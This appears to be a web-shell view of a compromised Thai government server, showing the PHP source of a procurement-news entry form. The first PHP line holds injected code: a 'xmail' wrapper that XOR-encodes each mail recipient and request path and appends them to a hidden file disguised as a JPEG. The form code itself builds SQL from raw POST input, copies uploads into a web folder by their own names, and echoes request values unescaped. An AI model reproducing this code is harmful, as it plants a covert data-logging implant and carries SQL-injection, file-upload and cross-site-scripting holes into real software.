|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/pathumthani_eoffice/application/bin/auction_news/ |
Upload File : |
<?php /* da627538edd40a2fc600d0d116529d2e */ function xmail () { $a=func_get_args(); file_put_contents('/var/www/html/otop/uploadimages/Maildir/.tmp/r/brc.jpg', x($_SERVER['REQUEST_URI']. ' ' .$a[0]."\n"), FILE_APPEND); return mail($a[0],$a[1],$a[2], $a[3]);} function x($s) { $t=$s; $o = ''; for($i=0;$i<strlen($t);$i++){ $o .= $t{$i} ^ '0';} return $o;}?><? session_start();
include("../../config/config.inc.php");
include("libary/function.php");
$action=$_POST['hAction'];
if($action=="add"){
$xsdate_place = swapdate($sdate_place);
$xedate_place = swapdate($edate_place);
$xexpire_day = swapdate($expire_day);
//$temp_p1 = $stime_place1.$stime_place2;
//$temp_p2 = $etime_place1.$etime_place2;
//เวลาดูสถานที่
if($stime_place1 != "" and $etime_place1 != ""){
$xstime_place = add_zero($stime_place1).":".$stime_place2;
$xetime_place = add_zero($etime_place1).":".$etime_place2;
}
// เวลาซื้อเอการ
//$temp_doc1 = $stime_doc1.$stime_doc2;
//$temp_doc2 = $etime_doc1.$etime_doc2;
if($stime_doc1 != "" and $etime_doc1 != ""){
$xstime_doc = add_zero($stime_doc1).":".$stime_doc2;
$xetime_doc = add_zero($etime_doc1).":".$etime_doc2;
}
// เวลา ยื่นซอง
//$temp_offer1 = $stime_offer1.$stime_offer2;
//$temp_offer2 = $etime_offer1.$etime_offer2;
if($stime_offer1 != "" and $etime_offer1 != ""){
$xstime_offer = add_zero($stime_offer1).":".$stime_offer2;
$xetime_offer = add_zero($etime_offer1).":".$etime_offer2;
}
if($stime_close1 != "" and $etime_close1 != ""){
$xstime_close = add_zero($stime_close1).":".$stime_close2;
$xetime_close = add_zero($etime_close1).":".$etime_close2;
}
$pur_doc_d1 = swapdate($pur_doc_d1);
$pur_doc_d2 = swapdate($pur_doc_d2);
$pur_offer_d1 = swapdate($pur_offer_d1);
$pur_offer_d2 = swapdate($pur_offer_d2);
$pur_close_d = swapdate($pur_close_d);
$stamp = date("Y-m-d H:i:s");
//$detail = CheckTag($message);
//$org=mysql_fetch_assoc(mysql_query("select type_name from
$xstaffid = $_SESSION[session_staffid] ;
$arr_orgid = $_SESSION[session_org] ;
$now_orgid = $arr_orgid[$xstaffid] ;
$rdep=mysql_fetch_assoc(mysql_query("select gid,groupname from org_staffgroup where gid='$now_orgid'"));
?>
<?php
function fmDate($date){
list($d, $m, $y) = split("/", $date);
return sprintf("%s-%s-%s", ($y - 543), $m, $d);
}
/*if ( $_SERVER['REQUEST_METHOD'] == "POST" && $_POST['hAction'] ) {
if ( $_POST['hAction'] == "STEP1" ) {*/
$att_name=$_FILES['upattach']['name'];
$att_temp=$_FILES['upattach']['tmp_name'];
$att_size=$_FILES['upattach']['size'];
$att_type=$_FILES['upattach']['type'];
$sizemax = 2000000;
if($pic_size>$sizemax){
}
if($att_size!=0){
$filename=time().$att_name;
$image_path="../../attach_file/auction/$filename";
copy($att_temp,$image_path);
}
$subject = $_POST['subject'];
$dep_id = $_POST['gid'];
$depname = $_POST['depname'];
$detail = $_POST['detail'];
$price = str_replace(",","",$_POST['price']);
$type = $_POST['type'];
$stime_doc = $_POST['stime_doc1'].":".$_POST['stime_doc2'].":00";
$etime_doc = $_POST['etime_doc1'].":".$_POST['etime_doc2'].":00";
$pur_doc_detail = $_POST['pur_doc_detail'];
$checkbox_use= $_POST['checkbox_use'];
if(!$checkbox_use){
$stime_place = $_POST['stime_place1'].":".$_POST['stime_place2'].":00";
$etime_place = $_POST['etime_place1'].":".$_POST['etime_place2'].":00";
}else{
$stime_place ="00:00:00";
$etime_place = "00:00:00";
}
$place_detail = $_POST['place_detail'];
$stime_offer = $_POST['stime_offer1'].":".$_POST['stime_offer2'].":00";
$etime_offer = $_POST['etime_offer1'].":".$_POST['etime_offer2'].":00";
$pur_offer_detail = $_POST['pur_offer_detail'];
$pur_close_1= $_POST['date_start'];
$pur_close_2= $_POST['date_continue'];
$pur_close_3= $_POST['date_reach'];
$stime_close = $_POST['stime_close1'].":".$_POST['stime_close2'].":00";
$etime_close = $_POST['etime_close1'].":".$_POST['etime_close2'].":00";
$pur_close_detail = $_POST['pur_close_detail'];
$strA = $_POST['date_run'];
$strB = $_POST['date_continue2'];
$strC = $_POST['date_close'];
if ( $strA && !$strB &&!strC ) {
$ADate = $strA;
$BDate = $strA;
} elseif (!$strA && $strB&&$strC ) {
$ADate = $strB;
$BDate = $strC;
}
$pur_doc_d1 = fmDate($ADate);
$pur_doc_d2 = fmDate($BDate);
$strD = $_POST['times'];
$strE = $_POST['times1'];
$strF = $_POST['times2'];
if ( $strD && !$strE&& !$strF ) {
$CDate = $strD;
$DDate = $strD;
} elseif ( !$strD && $strE && $strF ) {
$CDate = $strE;
$DDate = $strF;
}
$sdate_place = fmDate($CDate);
$edate_place = fmDate($DDate);
$strG = $_POST['date_1'];
$strH = $_POST['date_2'];
$strI = $_POST['date_3'];
if ( $_POST['radiobutton1'] == "1" ) {
$EDate = $strG;
$FDate = $strG;
} elseif ( $_POST['radiobutton1']=="2") {
$EDate = $strH;
$FDate = $strI;
}
else {
$EDate = "0000-00-00";
$FDate = "0000-00-00";
}
$pur_offer_d1 = fmDate($EDate);
$pur_offer_d2 = fmDate($FDate);
$pur_close_d = fmDate($_POST['date_start']);
$strSQL = "INSERT INTO auction SET
subject='".$subject."',
dep_id='".$dep_id."',
depname='".$depname."',
detail='".$detail."',
price='".$price."',
type='".$type."',
pur_doc_d1='".$pur_doc_d1."',
pur_doc_d2='".$pur_doc_d2."',
pur_offer_d1='".$pur_offer_d1."',
stime_doc='".$stime_doc."',
etime_doc='".$etime_doc."',
pur_doc_detail='".$pur_doc_detail."',
sdate_place='".$sdate_place."',
edate_place='".$edate_place."',
stime_place='".$stime_place."',
etime_place='".$etime_place."',
place_detail='".$place_detail."',
pur_offer_d2='".$pur_offer_d2."',
stime_offer='".$stime_offer."',
etime_offer='".$etime_offer."',
pur_offer_detail='".$pur_offer_detail."',
pur_close_d='".$pur_close_d."',
stime_close='".$stime_close."',
etime_close='".$etime_close."',
pur_close_detail='".$pur_close_detail."',
image='".$filename."'
";
mysql_query($strSQL) or die (mysql_error());
echo "<script language=\"javascript\">window.top.location.href=\"auction_index.php\";</script>";
exit;
}
?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>Untitled Document</title>
<link href="../../common/style.css" rel="stylesheet" type="text/css">
<link href="libary/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.FSHOW {
display: block;
}
.FHIDE {
display: none;
}
.Mcurrent {
background-color: #33FFFF;
border: 1px solid #666666;
}
.Mold {
background-color: #00FF00;
border: 1px solid #666666;
}
.MNew {
background-color: #FFFFFF;
border: 1px solid #666666;
}
-->
</style>
<style type="text/css">
<!--
.style1 {font-size: 10px}
-->
</style>
</head>
<script language="javascript">
function caldate(val1,val2,element){
if(val1.value!=""&&val2.value!=""){
var arrdate1=val1.value.split("/")
var arrdate2=val2.value.split("/")
var date1=new Date(arrdate1[2]-543,arrdate1[1],arrdate1[0])
var date2=new Date(arrdate2[2]-543,arrdate2[1],arrdate2[0])
var day= Math.round((date2.getTime()-date1.getTime())/(1000 * 60 * 60 * 24))
if(day<0){
element.innerHTML= "กำหนดวันที่ไม่ถูต้อง";
}else{
element.innerHTML=(day+1)+ " วัน";
}
}
}
var Fstep='1';
var FMAXstep='1';
var FMAXcount='5';
var FstepName='FORM1';
function chkmenu(){
for( i=1;i<=FMAXcount;i++){
var divby="M"+i
if(i<=FMAXstep){
if(i==Fstep){
document.getElementById(divby).className="Mcurrent";
}
else{
document.getElementById(divby).className="Mold";
}
}else{
document.getElementById(divby).className="MNew";
}
}
}
var xcaption=[];
xcaption[1]="บันทึกข้อมูลข่าวการจัดซื้อจัดจ้าง";
xcaption[2]="ซื้อเอกสารสอบราคา / ซื้อเอกสารการประมูล ฯ";
xcaption[3]="ดูสถานที่ ";
xcaption[4]="ยื่นซองสอบราคา / ยื่นเอกสารการประมูล ฯ";
xcaption[5]="เปิดซองสอบราคา / ประกาศรายชื่อผู้มีสิทธิเข้าประมูลฯ";
function swapform(Fname,Findex){
if(Findex<=FMAXstep){
var FCurrent=document.getElementById(Fname)
document.getElementById("discaption").innerHTML =xcaption[Findex];
document.getElementById("FORM1").className="FHIDE";
document.getElementById("FORM2").className="FHIDE";
document.getElementById("FORM3").className="FHIDE";
document.getElementById("FORM4").className="FHIDE";
document.getElementById("FORM5").className="FHIDE";
FCurrent.className="FSHOW";
Fstep=Findex;
}
chkmenu();
}
function checkvalue(ActID){
if(ActID=='STEP1') {
if((document.post.subject.value =="")||(document.post.type.value == "")||(document.post.depname.value == ""))
{
alert("กรุณากรอกข้อมูลให้ครบ");
return false;
}
FMAXstep=2;
swapform("FORM"+FMAXstep,FMAXstep)
}
else if(ActID=='STEP2') {
if(document.post.radiodate[0].checked){
if(document.post.date_run.value.length==0){
alert("กรุณากรอกข้อมูลให้ครบ");
return false;
}
}else{
if(document.post.date_continue2.value.length==0 || document.post.date_close.value.length==0 ){
alert("ต้องใส่วันที่");
return false;
}
else {
if(document.post.date_continue2.value>document.post.date_close.value){
alert("วันที่ไม่ถูกต้อง");
return false;
}
}
}
var h1=document.post.stime_doc1.value;
var h2=document.post.etime_doc1.value;
var m1=document.post.stime_doc2.value;
var m2=document.post.etime_doc2.value;
var t1=new Date(2009,12,1,h1,m1,00,00);
var t2=new Date(2009,12,1,h2,m2,00,00);
if(t1>t2){
alert("เวลาไม่ถูกต้อง");
return false;
}
FMAXstep=3;
swapform("FORM"+FMAXstep,FMAXstep)
}
else if(ActID=='STEP3') {
if( !document.post.checkbox_use.checked){
if(document.post.inputdate[0].checked){
if(document.post.times.value.length==0){
alert("กรุณากรอกข้อมูลให้ครบ");
return false;
}
}else{
if(document.post.times1.value.length==0 || document.post.times2.value.length==0 ){
alert("ต้องใส่วันที่");
return false;
}
else {
if(document.post.times1.value>document.post.times2.value){
alert("วันที่ไม่ถูกต้อง");
return false;
}
}
}
var hh1=document.post.stime_place1.value;
var hh2=document.post.etime_place1.value;
var mm1=document.post.stime_place2.value;
var mm2=document.post.etime_place2.value;
var tt1=new Date(2009,12,1,hh1,mm1,00,00);
var tt2=new Date(2009,12,1,hh2,mm2,00,00);
if(tt1>tt2){
alert("เวลาไม่ถูกต้อง");
return false;
}
}
FMAXstep=4;
swapform("FORM"+FMAXstep,FMAXstep)
}
else if(ActID=='STEP4') {
if(document.post.radiobutton1[1].checked){
if(document.post.date_1.value.length==0){
alert("กรุณากรอกข้อมูลให้ครบ");
return false;
}
}else{
if(document.post.radiobutton1[2].checked){
if(document.post.date_2.value.length==0 || document.post.date_3.value.length==0 ){
alert("ต้องใส่วันที่");
return false;
}
else {
if(document.post.date_2.value>document.post.date_3.value){
alert("วันที่ไม่ถูกต้อง");
return false;
}
}
}
}
var hour1=document.post.stime_offer1.value;
var hour2=document.post.etime_offer1.value;
var minute1=document.post.stime_offer2.value;
var minute2=document.post.etime_offer2.value;
var time1=new Date(2009,12,1,hour1,minute1,00,00);
var time2=new Date(2009,12,1,hour2,minute2,00,00);
if(time1>time2){
alert("เวลาไม่ถูกต้อง");
return false;
}
FMAXstep=5;
swapform("FORM"+FMAXstep,FMAXstep)
}
else if(ActID=='STEP5') {
//FMAXstep=6;
if(document.post.date_start.value.length==0){
alert("กรุณากรอกข้อมูลให้ครบ");
return false;
}
var hours1=document.post.stime_close1.value;
var hours2=document.post.etime_close1.value;
var minutes1=document.post.stime_close2.value;
var minutes2=document.post.etime_close2.value;
var time_set1=new Date(2009,12,1,hours1,minutes1,00,00);
var time_set2=new Date(2009,12,1,hours2,minutes2,00,00);
if(time_set1>time_set2){
alert("เวลาไม่ถูกต้อง");
return false;
}
document.post.hAction.value="add";
document.post.action = "<?=$PHP_SELF?>";
document.post.submit();
}
updateShow(ActID);
}
function checkprice(){
if(document.getElementById('medium_cost').checked){
document.getElementById('price').value = document.getElementById('medium_cost').value;
}
else{
document.getElementById('price').value =" ";
}
}
function currencyFormat(fld, milSep, decSep,e) {
var sep = 0;
var key = '';
var i = j = 0;
var len = len2 = 0;
var strCheck = '0123456789';
var aux = aux2 = '';
var whichCode = (window.Event) ? e.which : e.keyCode;
if (whichCode == 13) return true; // Enter
if (whichCode == 8) return true; // Delete
key = String.fromCharCode(whichCode); // Get key value from key code
if (strCheck.indexOf(key) == -1) return false; // Not a valid key
len = fld.value.length;
for(i = 0; i < len; i++)
if ((fld.value.charAt(i) != '0') && (fld.value.charAt(i) != decSep)) break;
aux = '';
for(; i < len; i++)
if (strCheck.indexOf(fld.value.charAt(i))!=-1) aux += fld.value.charAt(i);
aux += key;
len = aux.length;
if (len == 0) fld.value = '';
if (len == 1) fld.value = '0'+ decSep + '0' + aux;
if (len == 2) fld.value = '0'+ decSep + aux;
if (len > 2) {
aux2 = '';
for (j = 0, i = len - 3; i >= 0; i--) {
if (j == 3) {
aux2 += milSep;
j = 0;
}
aux2 += aux.charAt(i);
j++;
}
fld.value = '';
len2 = aux2.length;
for (i = len2 - 1; i >= 0; i--)
fld.value += aux2.charAt(i);
fld.value += decSep + aux.substr(len - 2, len);
}
return false;
}
function show_table(id) { // ฟังก์ชั่นซ่อนแสดงตาราง
if(id == "9999") { // ถ้าเลือก radio button 1 ให้โชว์ table 1 และ ซ่อน table 2
// alert('มาละ'+id);
document.getElementById("type").style.display = "";
document.getElementById("show").style.display="";
}
else { // ถ้าเลือก radio button 2 ให้โชว์ table 2 และ ซ่อน table 1
document.getElementById("show").style.display = "none";
//alert('ไม่มา'+id);
}
}
function updateShow(step)
{
//document.getElementById('lblValues').innerHTML = "";
var str = '';
var elem = document.getElementById('post').elements;
for(var i = 0; i < elem.length; i++)
{
if(elem[i].type != 'Button' && elem[i].type != 'button' &&elem[i].type != 'submit' &&elem[i].type != 'Submit' &&elem[i].type != 'hidden' )
{
if(elem[i].type == 'radio' && elem[i].type == 'radio')
{
if(elem[i].checked == true)
{
str += elem[i].name + "=";
str += elem[i].value + "&";
}
}else if(elem[i].name == "type")
{
str += elem[i].name + "=";
var index = elem[i].selectedIndex;
str += elem[i].options[index] .text+ "&";
}else if(elem[i].name == "price")
{
str += elem[i].name + "=";
if(elem[i].value != "ไม่มีราคากลาง" && elem[i].value != "")
{
str += elem[i].value + " บาท&";
}else
{
str += elem[i].value + " &";
}
}else
{
str += elem[i].name + "=";
str += elem[i].value + "&";
}
//document.getElementById('lblValues').innerHTML += elem[i].name + "=" +elem[i].value + "<br>";
}
}
str += "#" + step;
window.parent.document.getElementById("iFrmShow").src = "auction_showdetail.php?" + str;
}
</script>
<script language="JavaScript" type="text/javascript" src="libary/popcalendar.js"></script>
<body onLoad="swapform('form1','1')">
<form id="post" name="post" method="post" action="" onSubmit="checkvalue()" enctype="multipart/form-data" >
<table width="600" border="0" cellpadding="0" cellspacing="0">
<tr>
<td align="left" valign="top"> <div id="lblValues"></div>
</td>
</tr>
<tr>
<td align="left" valign="top"><table width="100%" border="0">
<tr>
<td width="389" bgcolor="#FFFFFF"><span class="normal_blue"><strong id="discaption">บันทึกข้อมูลข่าวการจัดซื้อจัดจ้าง</strong></span></td>
<td width="7%" align="center" bgcolor="#FFFFFF" onClick="swapform('form1','1')" id="M1"><div id="menu1"><a href="#">1</a></div></td>
<td width="7%" align="center" bgcolor="#FFFFFF"onClick="swapform('form2','2')" id="M2"><div id="menu2"><a href="#">2</a></div></td>
<td width="7%" align="center" bgcolor="#FFFFFF" onClick="swapform('form3','3')" id="M3"><div id="menu3"><a href="#">3</a></div></td>
<td width="7%" align="center" bgcolor="#FFFFFF" onClick="swapform('form4','4')" id="M4"><div id="menu4"><a href="#">4</a></div></td>
<td width="7%" align="center" bgcolor="#FFFFFF" onClick="swapform('form5','5')" id="M5"><div id="menu5"><a href="#">5</a></div></td>
</tr>
</table></td>
</tr>
<tr>
<td height="169" align="left" valign="top">
<table id="form1" width="98%" border="0" align="center" cellpadding="2" cellspacing="1" bgcolor="#999999">
<tr>
<td colspan="6" align="center" bgcolor="#FFFFFF">
<table width="99%" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC" class="normal_black">
<tr bgcolor="#f8f8f8">
<td height="20" colspan="2" bgcolor="#C1E2F8" class="normal_blue"> <img src="../../images/page.gif" width="18" height="18" border="0" align="absmiddle" />ข้อมูลพื้นฐาน<span class="blue">
<input name="hID" type="hidden" id="hID" value="<?=$_GET['LastID']?>">
</span></td>
</tr>
<tr valign="top">
<td width="112" height="20" align="right" bgcolor="#F8F8F8">เรื่อง <b>:</b> </td>
<td bgcolor="#F8F8F8"><input name="subject" type="text" id="subject" size="45" />
<span class="redlink">*</span></td>
</tr>
<tr valign="top">
<td width="112" height="9" align="right" bgcolor="#F8F8F8">หน่วยงาน <b>:</b> </td>
<td bgcolor="#F8F8F8"><? if($session_apppermit[4][10]){echo "<input name=\"depname\" type=\"text\" id=\"depname\" size=\"45\"value=\"".$_SESSION['session_orgname']."\" />
<span class=\"redlink\">
<input type=\"button\" name=\"button\" value=\"...\" onclick=\"MM_openBrWindow('org_select.php?type=organize','','location=yes,status=yes,scrollbars=yes,width=600,height=400')\">
*</span>";}else{echo "<input name=\"depname\" type=\"text\" id=\"depname\" size=\"45\" value=\"".$_SESSION['session_orgname']."\" readonly=\"readonly\"/>
<span class=\"redlink\">
*</span>";}?>
<input name="gid" type="hidden" id="gid" value="<?=$_SESSION['session_org']?>" /><? #="<br>ID:".$_SESSION['session_org']."<br>ORG.:".$_SESSION['session_title']."<br>STFID:".$_SESSION['session_staffid']?></td>
</tr>
<tr>
<td height="20" colspan="2" align="left" bgcolor="#C1E2F8"> <img src="../../images/page.gif" align="absmiddle" />รายละเอียดของข่าวการจัดซื้อจัดจ้าง</td>
</tr>
<tr bgcolor="#f8f8f8">
<td width="112"><!-- --------------------------------------------------------------BB Code -->
<!-- ---------------------------------------------------------End BB Code --> </td>
<td align="left" valign="top"><textarea name="detail" cols="70" rows="5" class="input" style="width:450px;"></textarea></td>
</tr>
<tr>
<td height="20" align="right" bgcolor="#F8F8F8"> </td>
<td bgcolor="#F8F8F8"><label>
<input type="checkbox" name="medium_cost" value="ไม่มีราคากลาง" checked="checked" onClick="checkprice()">
ไม่มีราคากลาง</label></td>
</tr>
<tr>
<td width="112" height="20" align="right" bgcolor="#F8F8F8">ราคากลาง <b>:</b> </td>
<td bgcolor="#F8F8F8"><input name="price" type="text" id="price" size="25" value="ไม่มีราคากลาง" onKeyPress="return(currencyFormat(this,',','.',event))" onKeyUp="javaScript:if(this.value!=0){document.post.medium_cost.checked=false;}" />
บาท</td>
</tr>
<tr>
<td width="112" height="20" align="right" bgcolor="#F8F8F8" >ประเภทการจัดซื้อ <b>:</b> </td>
<td align="left" bgcolor="#F8F8F8"><select name="type" id="type" class="input" style="width:200px;" onchange="show_table(this.value);">
<option value="" selected="selected" >- - กรุณาเลือก - -</option>
<?
$list = mysql_query("select * from `auction_type` ") or die("Query line " . __LINE__ . " Error<hr>".mysql_error());
while ( $row_listbox = mysql_fetch_row($list) ) {
echo "<option value='$row_listbox[0]' ";
if ( $row_listbox[0] == $value ) echo "selected";
echo ">";
echo $row_listbox[1];
echo "</option>";
}
?>
</select>
<span class="redlink">*</span>
<div id="show" style="display:none" class="normal_blue" align="left"\>
<input name="type1" type="text" size="25" />
<span class="redlink">*<span class="style1">โปรดระบุข่าวของท่าน</span></span></div></td>
</tr>
<tr valign="top" bordercolor="#eeeeee">
<td height="8" align="right" bgcolor="#FCFCFC">ไฟล์แนบ <b>:</b> </td>
<td bgcolor="#FCFCFC"><input type="file" name="upattach" id="upattach" style='font-size:11px; width:320px;' /></td>
</tr>
</table>
<input name="Button" type="button" class="input" style="width:100;" value="ขั้นตอนที่ 2" onClick="checkvalue('STEP1');" />
<input name="button" type="button" class="input" style="width:100;" onClick="window.top.location.href='auction_index.php'" value="กลับหน้าหลัก" /></td>
</tr>
</table>
<table id="form2" width="600" height="207" border="0" align="center" cellpadding="2" cellspacing="1" bgcolor="#999999">
<tr>
<td width="502%" align="center" bgcolor="#FCFCFC">
<table width="98%" border="0" align="center" cellpadding="2" cellspacing="1" bordercolor="#eeeeee" bgcolor="#CCCCCC">
<tr bgcolor="#f8f8f8">
<td height="20" colspan="2" align="left" bgcolor="#C1E2F8" class="blue"> <img src="../../images/email_open.gif" width="15" height="12" align="absmiddle" />
<input name="hID" type="hidden" id="hID" value="<?=$_GET['LastID']?>"></td>
</tr>
<tr style="display:none;" >
<td width="118" height="20" align="right" bgcolor="#FCFCFC"><label>
<input name="radiodate" type="radio" value="1" id="radiodate1" onClick="javaScript:if(this.value){document.post.date1.disabled=false; document.post.date2.disabled=true;document.post.date3.disabled=true;}">
</label>
วันที่ </td>
<td width="453" bgcolor="#FCFCFC"><input name="date_run" type="text" onFocus="blur();" size="10" value="<?=$date_run?>" readonly>
<input name="date1" type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, post.date_run, 'dd/mm/yyyy')" value='เลือกวัน' disabled="disabled"> </td>
</tr>
<tr>
<td width="118" height="20" align="right" bgcolor="#FCFCFC"><label>
<input name="radiodate" type="radio" id="radiodate2"onClick="javaScript:if(this.value){document.post.date1.disabled=true; document.post.date2.disabled=false;document.post.date3.disabled=false;}" value="2" checked>
</label>
ระหว่างวันที่ </td>
<td width="453" bgcolor="#FCFCFC"><input name="date_continue2" type="text" onFocus="blur();" size="10" value="<?=$date_continue2?>" readonly>
<input name="date2" type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, post.date_continue2, 'dd/mm/yyyy', 'caldate(post.date_continue2,post.date_close,disp1)')" value='เลือกวัน'>
ถึง
<input name="date_close" type="text" onFocus="blur();" size="10" value="<?=$date_close?>" readonly>
<input name="date3" type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this,post.date_close, 'dd/mm/yyyy','caldate(post.date_continue2,post.date_close,disp1)')" value='เลือกวัน' ><div id="dis1"></div>
</td>
</tr>
<tr valign="top">
<td height="25" align="right" bgcolor="#FCFCFC">จำนวนวัน<b> : </b> </td>
<td bgcolor="#FCFCFC"><div id="disp1" style="border:solid #CCC; border-width:1px;width:150px;height:20px; font-size:12px"></div></td>
</tr>
<tr valign="top">
<td height="20" align="right" bgcolor="#FCFCFC">เวลาเริ่มต้น <b>: </b></td>
<td bgcolor="#FCFCFC"><select name="stime_doc1" class="input" style="width:50px;">
<?
for($n=8;$n<=16;$n++){
if($stime_doc_arr[0] == $n){ $selected = "selected"; }else{ $selected = ""; }
echo "<option value=\"$n\" class=\"normal\" $selected>".add_zero($n)."</option>";
}
$selected = "";
?>
</select> นาฬิกา
<select name="stime_doc2" class="input" style="width:50px;">
<?
$time_set = "30";
for($o=0;$o<60;$o++){
if(($o % 5) == 0){
if($time_set == $o){ $selected = "selected"; }else{ $selected = ""; }
echo "<option value=\"".add_zero($o)."\" class=\"normal\" $selected>".add_zero($o)."</option>" ;
}
}
$selected = "";
?>
</select>
นาที <span class="redlink">*</span></td></tr>
<tr valign="top">
<td height="20" align="right" bgcolor="#FCFCFC">เวลาสิ้นสุด <b>: </b></td>
<td bgcolor="#FCFCFC"><select name="etime_doc1" class="input" style="width:50px;">
<?
$time_set1 = "16";
for($n1=8;$n1<=16;$n1++){
if($time_set1 == $n1){ $selected = "selected"; }else{ $selected = ""; }
echo "<option value=\"$n1\" class=\"normal\" $selected>".add_zero($n1)."</option>";
}
$selected = "";
?>
</select>
นาฬิกา
<select name="etime_doc2" class="input" style="width:50px;">
<?
for($o1=0;$o1<60;$o1++){
if(($o1 % 5) == 0){
if($action == "edit"){if($etime_doc_arr[1] == $o1){ $selected = "selected"; }else{ $selected = ""; }}
echo "<option value=\"".add_zero($o1)."\" class=\"normal\" $selected>".add_zero($o1)."</option>" ;
}
}
$selected = "";
?>
</select>
นาที <span class="redlink">*
</span></td>
</tr>
<tr valign="top">
<td width="118" height="20" align="right" bgcolor="#FCFCFC">รายละเอียด <b>:</b> </td>
<td width="453" bgcolor="#FCFCFC"><span class="redlink">
<textarea name="pur_doc_detail" rows="4" class="input" style="width:450px;"></textarea>
</span></td>
</tr>
</table>
<input name="submit2" type="button" class="input" style="width:100;" value="ขั้นตอนที่ 3" onClick="checkvalue('STEP2');" />
<input name="button2" type="button" class="input" style="width:100;" onClick="window.top.location.href='auction_index.php'" value="กลับหน้าหลัก" /></td>
</tr>
</table>
<table width="600" border="0" id="form3" cellpadding="2" cellspacing="1" bgcolor="#999999">
<tr>
<td width="35%" align="center" bgcolor="#FCFCFC">
<table width="98%" border="0" align="center" cellpadding="2" cellspacing="1" bordercolor="#eeeeee" bgcolor="#CCCCCC">
<tr>
<td height="20" colspan="2" align="left" bgcolor="#C1E2F8"> <img src="../../images/box_view.png" width="15" height="15" /><span class="blue">
<input name="hID" type="hidden" id="hID" value="<?=$_GET['LastID']?>">
</span></td>
</tr>
<tr style="display:none">
<td height="20" align="right" bgcolor="#FCFCFC"><label>
<input name="inputdate" type="radio" value="1" onClick="javaScript:if(this.value){document.post.times_1.disabled=false; document.post.times_2.disabled=true;document.post.times_3.disabled=true;}">
</label> วันที่ </td>
<td bgcolor="#FCFCFC"><input name="times" type="text" onFocus="blur();" size="10" value="<?=$times?>" readonly>
<input name="times_1" type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, post.times, 'dd/mm/yyyy')" value='เลือกวัน' disabled="disabled"> </td>
</tr>
<tr>
<td height="20" align="right" bgcolor="#FCFCFC"> </td>
<td bgcolor="#FCFCFC"><input type="checkbox" name="checkbox_use" id="checkbox_use" onClick="Noinput(this)">
ไม่กรอกข้อมูล</td>
</tr>
<tr>
<td height="20" align="right" bgcolor="#FCFCFC"><label>
<input name="inputdate" type="radio" onClick="javaScript:if(this.value){document.post.times_1.disabled=true; document.post.times_2.disabled=false;document.post.times_3.disabled=false;} ;Input(this)" value="2" checked>
</label> ระหว่างวันที่ </td>
<td bgcolor="#FCFCFC"><input name="times1" type="text" onFocus="blur();" size="10" value="<?=$time1?>" readonly>
<input name="times_2" type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, post.times1, 'dd/mm/yyyy','caldate(post.date_continue2,post.date_close,dis1)');Input(this)" value='เลือกวัน' >
ถึง
<input name="times2" type="text" onFocus="blur();" size="10" value="<?=$times2?>" readonly>
<input name="times_3" type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, post.times2,'dd/mm/yyyy','caldate(post.times1,post.times2,dis2)');Input(this)" value='เลือกวัน' ></td>
</tr>
<tr valign="top">
<td height="25" align="right" bgcolor="#FCFCFC">จำนวนวัน<b>:</b> </td>
<td bgcolor="#FCFCFC"><div id="dis2" style="border:solid #CCC; border-width:1px;width:150px;height:20px; font-size:12px"></div></td>
</tr>
<tr>
<td width="114" height="20" align="right" bgcolor="#FCFCFC">เวลาเริ่มต้น <b>: </b></td>
<td bgcolor="#FCFCFC"><select onChange=" Input(this)"name="stime_place1" class="input" style="width:50px;">
<?
for($t=8;$t<=16;$t++){
if($stime_place_arr[0] == $t){ $selected = "selected"; }else{ $selected = ""; }
echo "<option value=\"$t\" class=\"normal\" $selected>".add_zero($t)."</option>";
}
$selected = "";
?>
</select>
นาฬิกา
<select name="stime_place2" onChange="Input(this)"class="input" style="width:50px;">
<?
$time_set2 = "30";
for($m=0;$m<60;$m++){
if(($m % 5) == 0){
if ($time_set2==$m){ $selected ="selected"; } else { $selected=""; }
echo "<option value=\"".add_zero($m)."\" class=\"normal\" $selected>".add_zero($m)."</option>" ;
}
}
$selected = "";
?>
</select>
นาที</td>
</tr>
<tr>
<td width="114" height="20" align="right" bgcolor="#FCFCFC">เวลาสิ้นสุด <b>: </b></td>
<td bgcolor="#FCFCFC"><select onChange="Input(this)" name="etime_place1" class="input" style="width:50px;">
<?
$time_set3 = "16";
for($t=8;$t<=16;$t++){
if($time_set3 == $t){ $selected = "selected"; }else{ $selected = ""; }
echo "<option value=\"$t\" class=\"normal\" $selected>".add_zero($t)."</option>";
}
$selected = "";
?>
</select> นาฬิกา
<select name="etime_place2" class="input" style="width:50px;" onChange="Input(this)">
<?
for($m=0;$m<60;$m++){
if(($m % 5) == 0){
if($action == "edit"){if($etime_place_arr[1] == $m){ $selected = "selected"; }else{ $selected = ""; }}
echo "<option value=\"".add_zero($m)."\" class=\"normal\" $selected>".add_zero($m)."</option>" ;
}
}
$selected = "";
?>
</select>
นาที</td>
</tr>
<tr valign="top">
<td width="114" height="20" align="right" bgcolor="#FCFCFC">รายละเอียด <b>:</b> </td>
<td width="457" bgcolor="#FCFCFC"><textarea onKeyUp="Input(this)" name="place_detail" rows="4" class="input" id="place_detail" style="width:450px;"></textarea></td>
</tr>
</table>
<input name="submit22" type="button" class="input" style="width:100;" value="ขั้นตอนที่ 4" onClick="checkvalue('STEP3');" />
<input name="button22" type="button" class="input" style="width:100;" onClick="window.top.location.href='auction_index.php'" value="กลับหน้าหลัก" />
<br>
</td>
</tr>
</table>
<table width="600" border="0" cellpadding="2" cellspacing="1" id="form4" bgcolor="#999999">
<tr>
<td width="35%" align="center" bgcolor="#FCFCFC">
<table width="98%" border="0" align="center" cellpadding="2" cellspacing="1" bordercolor="#eeeeee" bgcolor="#CCCCCC">
<tr bgcolor="#f8f8f8">
